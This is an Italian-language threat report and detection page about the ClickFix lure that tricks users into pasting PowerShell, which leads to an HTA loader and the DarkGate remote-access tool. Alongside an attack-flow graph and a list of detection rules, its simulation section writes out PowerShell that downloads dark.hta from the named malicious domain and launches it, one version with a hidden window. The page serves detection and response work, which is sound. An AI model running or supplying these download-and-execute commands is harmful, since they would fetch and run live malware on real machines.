Studio di Caso di ClickFix: Malware DarkGate
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Il rapporto descrive un metodo di social engineering chiamato ClickFix che persuade gli utenti a copiare ed eseguire un comando PowerShell, il quale quindi scarica un file HTA malevolo. Questo file HTA, a sua volta, scarica componenti aggiuntivi, incluso uno script AutoIt che crea directory, rilascia file e stabilisce comunicazioni C2. L’attività è attribuita alla campagna DarkGate e si basa su un’offuscazione base64 oltre a una manomissione degli appunti per evitare un rilevamento diretto.
Indagine
Gli analisti hanno svelato diversi strati di contenuto codificato in base64 incorporato in una falsa pagina di allerta per estensioni del browser e hanno recuperato il comando PowerShell responsabile del recupero di dark.hta da linktoxic34.com. Quando eseguito, l’HTA distribuisce un eseguibile AutoIt (fckhffh.a3x) che esegue una routine DES e avvia ulteriori payload. La telemetria di rete catturata mostra traffico HTTP(S) verso il dominio malevolo, seguito dall’esecuzione concatenata di script PowerShell.
Mitigazione
Le difese raccomandate includono la formazione degli utenti per scoraggiare la copia di frammenti di codice sconosciuti, la disabilitazione della finestra di dialogo Esegui di Windows tramite Criteri di Gruppo e il dispiegamento di soluzioni antivirus basate sul comportamento. Bloccare proattivamente il dominio malevolo e monitorare esecuzioni anomale di PowerShell può ridurre significativamente il rischio di infezione da DarkGate.
Risposta
Se viene identificato un evento correlato a ClickFix, isolare il punto terminale coinvolto, fermare tutti i processi malevoli, rimuovere gli artefatti HTA e AutoIt, e eseguire un’analisi forense su eventuali cartelle create durante l’intrusione. Aggiornare la logica di rilevamento per individuare modelli di esecuzione PowerShell e HTA sospetti ed assicurarsi che il dominio associato sia bloccato in tutto l’ambiente.
“graph TB %% Class Definitions classDef asset fill:#f0e68c classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef process fill:#ffdddd %% Nodes webpage_malicious[“<b>Asset</b> – Pagina Web Dannosa<br/>Contiene PowerShell codificato in base64 e offuscamento reverseu2011string”] class webpage_malicious asset tech_html_smuggling[“<b>Tecnica</b> – <b>T1027.006</b> File o Informazioni Offuscate: HTML Smuggling<br/>PowerShell in base64 nascosto in HTML/JavaScript”] class tech_html_smuggling technique tech_stripped_payloads[“<b>Tecnica</b> – <b>T1027.008</b> File o Informazioni Offuscate: Payloads Stripped<br/>Stringhe base64 nidificate nascondono PowerShell”] class tech_stripped_payloads technique action_user_click[“<b>Azione</b> – <b>T1204.001</b> Esecuzione Utente: Link Maligno<br/>La vittima clicca sul bottone u201cCome risolvereu201d”] class action_user_click action tech_clipboard_data[“<b>Tecnica</b> – <b>T1115</b> Dati Appunti<br/>Il script copia il comando PowerShell negli appunti”] class tech_clipboard_data technique action_copy_paste[“<b>Azione</b> – <b>T1204.004</b> Esecuzione Utente: Copia e Incolla Maligno<br/>L’utente incolla il comando tramite Win+R e Ctrl+V”] class action_copy_paste action tech_powershell[“<b>Tecnica</b> – <b>T1059.001</b> Interprete Comandi e Script: PowerShell<br/>Esegue il comando scaricato”] class tech_powershell technique process_powershell[“<b>Processo</b> – PowerShell”] class process_powershell process tech_web_protocol[“<b>Tecnica</b> – <b>T1071.001</b> Protocollo Livello Applicazione: Protocolli Web<br/>Scarica HTA tramite HTTP(S)”] class tech_web_protocol technique file_dark_hta[“<b>File</b> – dark.hta<br/>Payload HTA scaricato da linktoxic34.com”] class file_dark_hta file tech_mshta[“<b>Tecnica</b> – <b>T1218.005</b> Esecuzione Proxy Binario di Sistema: Mshta<br/>Esegue HTA tramite mshta.exe”] class tech_mshta technique process_mshta[“<b>Processo</b> – mshta.exe”] class process_mshta process tech_lateral_transfer[“<b>Tecnica</b> – <b>T1570</b> Trasferimento Strumenti Laterali<br/>HTA rilascia archivio ZIP con binari aggiuntivi”] class tech_lateral_transfer technique file_payload_zip[“<b>File</b> – payload.zip<br/>Contiene script AutoIt e binari”] class file_payload_zip file tech_masquerading[“<b>Tecnica</b> – <b>T1036</b> Mascheramento<br/>HTA presentato come strumento di riparazione legittimo”] class tech_masquerading technique tech_rtl_override[“<b>Tecnica</b> – <b>T1036.002</b> Mascheramento: Sovrascrittura da Destrau2011aSinistrau2011a<br/>Codifica reverseu2011string per eludere il rilevamento”] class tech_rtl_override technique tool_darkgate[“<b>Strumento</b> – DarkGate RAT<br/>Fornisce accesso remoto persistente”] class tool_darkgate tool tech_remote_access[“<b>Tecnica</b> – <b>T1219</b> Strumenti di Accesso Remoto<br/>Stabilisce comunicazioni C2”] class tech_remote_access technique %% Connections webpage_malicious u002du002d>|utilizza| tech_html_smuggling webpage_malicious u002du002d>|utilizza| tech_stripped_payloads webpage_malicious u002du002d>|attiva| action_user_click action_user_click u002du002d>|conduce_a| tech_clipboard_data tech_clipboard_data u002du002d>|abilita| action_copy_paste action_copy_paste u002du002d>|esegue| tech_powershell tech_powershell u002du002d>|avvia| process_powershell process_powershell u002du002d>|scarica| tech_web_protocol tech_web_protocol u002du002d>|recupera| file_dark_hta file_dark_hta u002du002d>|eseguito_da| tech_mshta tech_mshta u002du002d>|avvia| process_mshta process_mshta u002du002d>|rilascia| tech_lateral_transfer tech_lateral_transfer u002du002d>|crea| file_payload_zip file_dark_hta u002du002d>|si_maschera_come| tech_masquerading file_dark_hta u002du002d>|offusca_con| tech_rtl_override file_payload_zip u002du002d>|contiene| tool_darkgate tool_darkgate u002du002d>|utilizza| tech_remote_access “
Flusso di Attacco
Rilevamenti
Comportamento di Evasione Rilevato della Difesa MSHTA Sospetto con Comandi Associati (via process_creation)
Vedi
Stringhe PowerShell Sospette (via powershell)
Vedi
Eseguibile AutoIT è stato Eseguito da Posizione Insolita (via process_creation)
Vedi
File Sospetti nel Profilo Utente Pubblico (via file_event)
Vedi
Esecuzione Sospetta dal Profilo Utente Pubblico (via process_creation)
Vedi
Chiamata di Metodi .NET Sospetti da PowerShell (via powershell)
Vedi
IOC (HashSha256) per rilevare: ClickFix: DarkGate
Vedi
Rilevamento di Attività PowerShell Malevola per Download di File HTA [Connessione di Rete Windows]
Vedi
Attività PowerShell Malevola Coinvolgente Esecuzione HTA e Manipolazione degli Appunti [PowerShell di Windows]
Vedi
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-Voluto della Telemetria e Baseline deve essere superato.
Motivo: Questa sezione delinea l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa di Attacco & Comandi:
Un attaccante che ha ottenuto l’accesso con pochi privilegi su un host Windows compromesso desidera scaricare un payload HTA malevolo utilizzato nella campagna ClickFix. Per rimanere nascosto, l’attaccante utilizza PowerShell—uno strumento nativo di Windows—quindi non vengono introdotti binari esterni. Il comando viene eseguito direttamente nella console (o tramite un’attività pianificata) e include l’URL esatto che la regola osserva. Il download è archiviato nella directory%TEMP%dell’utente e poi eseguito tramiteStart-Process.$url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $out = "$env:TEMPdark.hta" Invoke-WebRequest -Uri $url -OutFile $out Start-Process -FilePath $out -
Script di Test Regressione: (autocontenuto, riproduce i passaggi sopra)
# Simulazione download ClickFix HTA – attiva la regola Sigma $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $destPath = "$env:TEMPdark.hta" try { Write-Host "[*] Scaricamento payload HTA malevolo..." Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing Write-Host "[+] Scaricamento completo. Esecuzione del payload..." Start-Process -FilePath $destPath -WindowStyle Hidden } catch { Write-Error "Download o esecuzione falliti: $_" } -
Comandi di Pulizia: (rimuove l’HTA scaricato e qualsiasi istanza in esecuzione)
# Rimuovere il file HTA e terminare qualsiasi processo residuo $htaPath = "$env:TEMPdark.hta" if (Test-Path $htaPath) { Remove-Item $htaPath -Force Write-Host "[*] File HTA rimosso." } # Eliminare qualsiasi processo che potrebbe essere stato lanciato dall'HTA (esempio generico) Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force